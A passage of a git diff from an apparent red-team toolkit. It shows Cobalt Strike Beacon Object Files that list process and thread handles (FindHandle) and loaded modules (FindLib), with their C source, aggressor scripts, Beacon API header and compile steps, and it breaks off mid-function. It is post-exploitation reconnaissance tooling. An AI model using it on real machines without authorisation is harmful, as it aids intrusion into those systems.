+		if (targetPid != 0 && targetPid != procID) {
+			MSVCRT$free(objectTypeInfo);
+			MSVCRT$free(objectNameInfo);
+			KERNEL32$CloseHandle(dupHandle);
+			continue;
+		}
+		
+		if(procID != 0 && objHandle.UniqueProcessId != procID) {
+			internal_printf("\nHandle from:\t%s [%d]\nHandle to:\t%s [%d]\nHandle object:\t%#x\nAccess rights:\t%#x\n", 
+				procHostName,
+				KERNEL32$GetProcessId(processHandle),
+				procNameTemp,
+				procID,
+				objHandle.HandleValue,
+				objHandle.GrantedAccess); //https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights
+			
+			foundHandle = TRUE;
+		}
+
+        MSVCRT$free(objectTypeInfo);
+        MSVCRT$free(objectNameInfo);
+        KERNEL32$CloseHandle(dupHandle);
+    }
+ 
+    MSVCRT$free(handleInfo);
+    KERNEL32$CloseHandle(processHandle);
+	
+	return foundHandle;
+}
+
+
+int go(char *args, int len) {
+	int basePid = 0;
+	int targetPid = 0;
+	BYTE flags;
+	CHAR *search;
+	CHAR *query;
+	BOOL res = NULL;
+	datap parser;
+	
+	BeaconDataParse(&parser, args, len);
+	search = BeaconDataExtract(&parser, NULL);
+	query = BeaconDataExtract(&parser, NULL);
+	if(!bofstart()) return;
+
+	if (MSVCRT$strcmp(query, "proc") == 0) flags = QUERY_PROC;
+	else if (MSVCRT$strcmp(query, "thread") == 0) flags = QUERY_THREAD;
+	else {
+		BeaconPrintf(CALLBACK_ERROR, "Please specify either proc (PROCESS_HANDLE) or 2 (THREAD_HANDLE) as handle search options.\n");
+		return 0;
+	}
+	
+	if (MSVCRT$strcmp(search, "all") == 0) {
+		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating all processes with handles to all other processes\n");
+		res = GetHandles(0, flags, 0);
+	}
+	else if (MSVCRT$strcmp(search, "h2p") == 0) {
+		targetPid = BeaconDataInt(&parser);
+		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating all processes that have a handle to PID: [%d]\n", targetPid);
+		res = GetHandles(0, flags, targetPid);
+	}
+	else if (MSVCRT$strcmp(search, "p2h") == 0) {
+		basePid = BeaconDataInt(&parser);
+		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating handles from PID [%d] to all other processes\n", basePid);
+		res = GetHandles(basePid, flags, 0);
+	}
+	else {
+		BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following process search options: ht | h2p | p2h\n");
+		return 0;
+	}
+	
+	if(!res) BeaconPrintf(CALLBACK_ERROR, "No handle found for this search query!\n");
+	else  {
+		printoutput(TRUE);
+	}
+
+    return 0;
+}
+
+

+ 62 - 62
KIT/FindHandle/findhandle.cna

@@ -1,62 +1,62 @@
-# author REDMED-X
-
-beacon_command_register(
-    "findhandle", "Find process and thread handle types between processes.",
-    "INFO:\nFind process and thread handle types between processes.\n\nOPTIONS:\n[all]: list all processes with handles to all other processes\n[h2p]: list all processes that have a handle to a specific process\n[p2h]: list handles from a specific process to all other processes\n\nHandle Query Options:\n[proc]: search for PROCESS type handles\n[thread]: search for THREAD type handles\n\nTargeted Search Options:\n[<pid>]: for both the [h2p] and [p2h] search options, specify the PID of the process your interested in.\n\n" .
-    "USAGE:\nfindhandle all <proc | thread>\nfindhandle h2p <proc | thread> <pid>\nfindhandle p2h <proc | thread> <pid>\n\n");
-
-
-alias findhandle {
-    $bid = $1;
-    $search = $2;
-    $query = $3;
-    $pid = $4;
-
-    if ($search eq "") {
-        berror($bid, "Please specify one of the following seach options: all | h2p | p2h\n");
-        return;
-    }
-
-    if ($search eq "all" || $search eq "h2p" || $search eq "p2h") {
-        if ($query eq "") {
-            berror($bid, "Please specify one of the following handle types to search for: proc | thread\n");
-            return;
-        }
-        if ($query eq "proc" || $query eq "thread") {
-            if ($search eq "h2p" && $pid eq "" ) {
-                berror($bid, "Please specify the pid to target a specific process.\n");
-                return;
-            }
-            if ($search eq "p2h" && $pid eq "" ) {
-                berror($bid, "Please specify the pid to target a specific process.\n");
-                return;
-            }
-        }
-        else {
-            berror($bid, "This handle type isn't supported. Please specify one of the following handle types to search for: proc | thread\n");
-            return;
-        }
-    }
-    else {
-        berror($bid, "This option isn't supported. Please specify one of the following seach options: all | h2p | p2h\n");
-        return;
-    }
-	
-    # Read in the right BOF file
-    $handle = openf(script_resource("findhandle.o"));
-    $data   = readb($handle, -1);
-    closef($handle);
-
-    # Pack our arguments
-    if ($pid eq "") {
-        $arg_data  = bof_pack($bid, "zz", $search, $query);
-    }
-    else {
-        $arg_data  = bof_pack($bid, "zzi", $search, $query, $pid);
-    }
-
-    blog($bid, "Tasked to enumerate handles..");
-    beacon_inline_execute($bid, $data, "go", $arg_data);
-}
-
-
+# author REDMED-X
+
+beacon_command_register(
+    "findhandle", "Find process and thread handle types between processes.",
+    "INFO:\nFind process and thread handle types between processes.\n\nOPTIONS:\n[all]: list all processes with handles to all other processes\n[h2p]: list all processes that have a handle to a specific process\n[p2h]: list handles from a specific process to all other processes\n\nHandle Query Options:\n[proc]: search for PROCESS type handles\n[thread]: search for THREAD type handles\n\nTargeted Search Options:\n[<pid>]: for both the [h2p] and [p2h] search options, specify the PID of the process your interested in.\n\n" .
+    "USAGE:\nfindhandle all <proc | thread>\nfindhandle h2p <proc | thread> <pid>\nfindhandle p2h <proc | thread> <pid>\n\n");
+
+
+alias findhandle {
+    $bid = $1;
+    $search = $2;
+    $query = $3;
+    $pid = $4;
+
+    if ($search eq "") {
+        berror($bid, "Please specify one of the following seach options: all | h2p | p2h\n");
+        return;
+    }
+
+    if ($search eq "all" || $search eq "h2p" || $search eq "p2h") {
+        if ($query eq "") {
+            berror($bid, "Please specify one of the following handle types to search for: proc | thread\n");
+            return;
+        }
+        if ($query eq "proc" || $query eq "thread") {
+            if ($search eq "h2p" && $pid eq "" ) {
+                berror($bid, "Please specify the pid to target a specific process.\n");
+                return;
+            }
+            if ($search eq "p2h" && $pid eq "" ) {
+                berror($bid, "Please specify the pid to target a specific process.\n");
+                return;
+            }
+        }
+        else {
+            berror($bid, "This handle type isn't supported. Please specify one of the following handle types to search for: proc | thread\n");
+            return;
+        }
+    }
+    else {
+        berror($bid, "This option isn't supported. Please specify one of the following seach options: all | h2p | p2h\n");
+        return;
+    }
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("findhandle.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    if ($pid eq "") {
+        $arg_data  = bof_pack($bid, "zz", $search, $query);
+    }
+    else {
+        $arg_data  = bof_pack($bid, "zzi", $search, $query, $pid);
+    }
+
+    blog($bid, "Tasked to enumerate handles..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 103 - 110
KIT/FindHandle/findhandle.h

@@ -1,110 +1,103 @@
-#include <windows.h>
-
-#define NT_SUCCESS(x) ((x) >= 0)
-#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
- 
-#define SystemHandleInformation 16
-#define ObjectBasicInformation 0
-#define ObjectNameInformation 1
-#define ObjectTypeInformation 2
- 
-#define QUERY_PROC		0x08
-#define QUERY_THREAD	0x10
-
-
-//GetHandles
-typedef NTSTATUS (NTAPI * NtQuerySystemInformation_t)(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
-typedef NTSTATUS (NTAPI * NtDuplicateObject_t)(HANDLE SourceProcessHandle, HANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS_MASK DesiredAccess, ULONG Attributes, ULONG Options);
-typedef NTSTATUS (NTAPI * NtQueryObject_t)(HANDLE ObjectHandle, ULONG ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);
-WINBASEAPI void* __cdecl MSVCRT$malloc(size_t _Size);
-WINBASEAPI void* __cdecl MSVCRT$realloc(void* _Memory, size_t _NewSize);
-DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
-DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetProcessImageFileNameA(HANDLE hProcess, LPSTR lpImageFileName, DWORD nSize);
-DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess();
-DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcessId();
-DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
-DECLSPEC_IMPORT LPWSTR WINAPI KERNEL32$StrStrIW(LPCWSTR lpFirst, LPCWSTR lpSrch);
-DECLSPEC_IMPORT PCWSTR WINAPI SHLWAPI$StrStrIW(PCWSTR pszFirst, PCWSTR pszSrch);
-WINBASEAPI void __cdecl MSVCRT$free(void* _Memory);
-DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
-DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessIdOfThread(HANDLE Thread);
-WINBASEAPI int __cdecl MSVCRT$sprintf_s(char *_Dst,size_t _SizeInBytes,const char *_Format,...);
-WINBASEAPI int __cdecl MSVCRT$swprintf_s(wchar_t *_Dst,size_t _SizeInWords,const wchar_t *_Format,...);
-DECLSPEC_IMPORT LPCSTR WINAPI SHLWAPI$PathFindFileNameA(LPCSTR pszPath);
-WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...); 
-WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
-
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
-WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
-WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
-WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
-WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
-WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
-WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
-DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
-
-
-
-typedef struct _UNICODE_STRING {
-    USHORT Length;
-    USHORT MaximumLength;
-    PWSTR Buffer;
-} UNICODE_STRING, *PUNICODE_STRING;
- 
-typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
-    USHORT UniqueProcessId;
-    USHORT CreatorBackTraceIndex;
-    UCHAR ObjectTypeIndex;
-    UCHAR HandleAttributes;
-    USHORT HandleValue;
-    PVOID Object;
-    ULONG GrantedAccess;
-} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
- 
-typedef struct _SYSTEM_HANDLE_INFORMATION {
-    ULONG NumberOfHandles;
-    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
-} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
- 
-typedef enum _POOL_TYPE {
-    NonPagedPool,
-    PagedPool,
-    NonPagedPoolMustSucceed,
-    DontUseThisType,
-    NonPagedPoolCacheAligned,
-    PagedPoolCacheAligned,
-    NonPagedPoolCacheAlignedMustS
-} POOL_TYPE, *PPOOL_TYPE;
- 
-typedef struct _OBJECT_TYPE_INFORMATION {
-    UNICODE_STRING Name;
-    ULONG TotalNumberOfObjects;
-    ULONG TotalNumberOfHandles;
-    ULONG TotalPagedPoolUsage;
-    ULONG TotalNonPagedPoolUsage;
-    ULONG TotalNamePoolUsage;
-    ULONG TotalHandleTableUsage;
-    ULONG HighWaterNumberOfObjects;
-    ULONG HighWaterNumberOfHandles;
-    ULONG HighWaterPagedPoolUsage;
-    ULONG HighWaterNonPagedPoolUsage;
-    ULONG HighWaterNamePoolUsage;
-    ULONG HighWaterHandleTableUsage;
-    ULONG InvalidAttributes;
-    GENERIC_MAPPING GenericMapping;
-    ULONG ValidAccess;
-    BOOLEAN SecurityRequired;
-    BOOLEAN MaintainHandleCount;
-    USHORT MaintainTypeList;
-    POOL_TYPE PoolType;
-    ULONG PagedPoolUsage;
-    ULONG NonPagedPoolUsage;
-} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
-
+#include <windows.h>
+
+#define NT_SUCCESS(x) ((x) >= 0)
+#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
+ 
+#define SystemHandleInformation 16
+#define ObjectBasicInformation 0
+#define ObjectNameInformation 1
+#define ObjectTypeInformation 2
+ 
+#define QUERY_PROC		0x08
+#define QUERY_THREAD	0x10
+
+
+//GetHandles
+typedef NTSTATUS (NTAPI * NtQuerySystemInformation_t)(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
+typedef NTSTATUS (NTAPI * NtDuplicateObject_t)(HANDLE SourceProcessHandle, HANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS_MASK DesiredAccess, ULONG Attributes, ULONG Options);
+typedef NTSTATUS (NTAPI * NtQueryObject_t)(HANDLE ObjectHandle, ULONG ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);
+WINBASEAPI void* __cdecl MSVCRT$malloc(size_t _Size);
+WINBASEAPI void* __cdecl MSVCRT$realloc(void* _Memory, size_t _NewSize);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$K32GetProcessImageFileNameA(HANDLE hProcess, LPSTR lpImageFileName, DWORD nSize);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess();
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcessId();
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
+DECLSPEC_IMPORT LPWSTR WINAPI KERNEL32$StrStrIW(LPCWSTR lpFirst, LPCWSTR lpSrch);
+DECLSPEC_IMPORT PCWSTR WINAPI SHLWAPI$StrStrIW(PCWSTR pszFirst, PCWSTR pszSrch);
+//WINBASEAPI void __cdecl MSVCRT$free(void* _Memory);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessIdOfThread(HANDLE Thread);
+WINBASEAPI int __cdecl MSVCRT$sprintf_s(char *_Dst,size_t _SizeInBytes,const char *_Format,...);
+WINBASEAPI int __cdecl MSVCRT$swprintf_s(wchar_t *_Dst,size_t _SizeInWords,const wchar_t *_Format,...);
+DECLSPEC_IMPORT LPCSTR WINAPI SHLWAPI$PathFindFileNameA(LPCSTR pszPath);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...); 
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+
+
+typedef struct _UNICODE_STRING {
+    USHORT Length;
+    USHORT MaximumLength;
+    PWSTR Buffer;
+} UNICODE_STRING, *PUNICODE_STRING;
+ 
+typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
+    USHORT UniqueProcessId;
+    USHORT CreatorBackTraceIndex;
+    UCHAR ObjectTypeIndex;
+    UCHAR HandleAttributes;
+    USHORT HandleValue;
+    PVOID Object;
+    ULONG GrantedAccess;
+} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
+ 
+typedef struct _SYSTEM_HANDLE_INFORMATION {
+    ULONG NumberOfHandles;
+    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
+} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
+ 
+typedef enum _POOL_TYPE {
+    NonPagedPool,
+    PagedPool,
+    NonPagedPoolMustSucceed,
+    DontUseThisType,
+    NonPagedPoolCacheAligned,
+    PagedPoolCacheAligned,
+    NonPagedPoolCacheAlignedMustS
+} POOL_TYPE, *PPOOL_TYPE;
+ 
+typedef struct _OBJECT_TYPE_INFORMATION {
+    UNICODE_STRING Name;
+    ULONG TotalNumberOfObjects;
+    ULONG TotalNumberOfHandles;
+    ULONG TotalPagedPoolUsage;
+    ULONG TotalNonPagedPoolUsage;
+    ULONG TotalNamePoolUsage;
+    ULONG TotalHandleTableUsage;
+    ULONG HighWaterNumberOfObjects;
+    ULONG HighWaterNumberOfHandles;
+    ULONG HighWaterPagedPoolUsage;
+    ULONG HighWaterNonPagedPoolUsage;
+    ULONG HighWaterNamePoolUsage;
+    ULONG HighWaterHandleTableUsage;
+    ULONG InvalidAttributes;
+    GENERIC_MAPPING GenericMapping;
+    ULONG ValidAccess;
+    BOOLEAN SecurityRequired;
+    BOOLEAN MaintainHandleCount;
+    USHORT MaintainTypeList;
+    POOL_TYPE PoolType;
+    ULONG PagedPoolUsage;
+    ULONG NonPagedPoolUsage;
+} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
+

BIN
KIT/FindHandle/findhandle.o


+ 16 - 16
KIT/FindLib/README.md

@@ -1,16 +1,16 @@
-# FindLib
-Find a specific loaded module in all processes or list all loaded modules in a specific process.
-
-## Options
-* `search`: find all processes that have loaded a specific module (e.g. winhttp.dll or ws2_32.dll).
-* `list`: list all loaded modules in a remote process.
-
-## Usage
-* `findlib search <module name>`
-* `findlib list <pid>`
-
-## Compile
-- 1\. Make sure Visual Studio is installed and supports C/C++.
-- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
-- 3\. Run the `bofcompile.bat` script to compile the object file. 
-- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 
+# FindLib
+Find a specific loaded module in all processes or list all loaded modules in a specific process.
+
+## Options
+* `search`: find all processes that have loaded a specific module (e.g. winhttp.dll or ws2_32.dll).
+* `list`: list all loaded modules in a remote process.
+
+## Usage
+* `findlib search <module name>`
+* `findlib list <pid>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 68 - 68
KIT/FindLib/beacon.h

@@ -1,69 +1,69 @@
-/*
- * Beacon Object Files (BOF)
- * -------------------------
- * A Beacon Object File is a light-weight post exploitation tool that runs
- * with Beacon's inline-execute command.
- *
- * Additional BOF resources are available here:
- *   - https://github.com/Cobalt-Strike/bof_template
- *
- * Cobalt Strike 4.x
- * ChangeLog:
- *    1/25/2022: updated for 4.5
- */
-
-/* data API */
-typedef struct {
-	char * original; /* the original buffer [so we can free it] */
-	char * buffer;   /* current pointer into our buffer */
-	int    length;   /* remaining length of data */
-	int    size;     /* total size of this buffer */
-} datap;
-
-DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
-DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
-DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
-DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
-DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
-DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
-
-/* format API */
-typedef struct {
-	char * original; /* the original buffer [so we can free it] */
-	char * buffer;   /* current pointer into our buffer */
-	int    length;   /* remaining length of data */
-	int    size;     /* total size of this buffer */
-} formatp;
-
-DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
-DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
-DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
-DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
-DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
-DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
-DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
-
-/* Output Functions */
-#define CALLBACK_OUTPUT      0x0
-#define CALLBACK_OUTPUT_OEM  0x1e
-#define CALLBACK_OUTPUT_UTF8 0x20
-#define CALLBACK_ERROR       0x0d
-
-DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
-DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
-
-
-/* Token Functions */
-DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
-DECLSPEC_IMPORT void   BeaconRevertToken();
-DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
-
-/* Spawn+Inject Functions */
-DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
-DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
-DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
-DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
-DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
-
-/* Utility Functions */
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
 DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 6
KIT/FindLib/bofcompile.bat

@@ -1,6 +1,5 @@
-@ECHO OFF
-
-cl.exe /nologo /c /Od /MT /W0 /GS- /Tc findlib.c
-move /y findlib.obj findlib.o
-dumpbin /disasm findlib.o > findlib.disasm
-
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc findlib.c
+move /y findlib.obj findlib.o
+

+ 197 - 254
KIT/FindLib/findlib.c

@@ -1,254 +1,197 @@
-#include <windows.h>
-#include <stdio.h>
-#include <tlhelp32.h>
-#include <psapi.h>
-#include <shlwapi.h>
-#include "findlib.h"
-#include "beacon.h"
-
-#pragma comment(lib, "ntdll.lib")
-#pragma comment(lib, "Shlwapi.lib")
-
-
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) {
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
-
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); // Clear print buffer.
-	}
-
-	va_end(argList);
-	return hr;
-}
-
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer); 
-		g_lpwPrintBuffer = NULL;
-	}
-
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
-
-	return;
-}
-
-
-
-
-
-WCHAR ConvertToWCHAR(char input) {
-	WCHAR output[100];
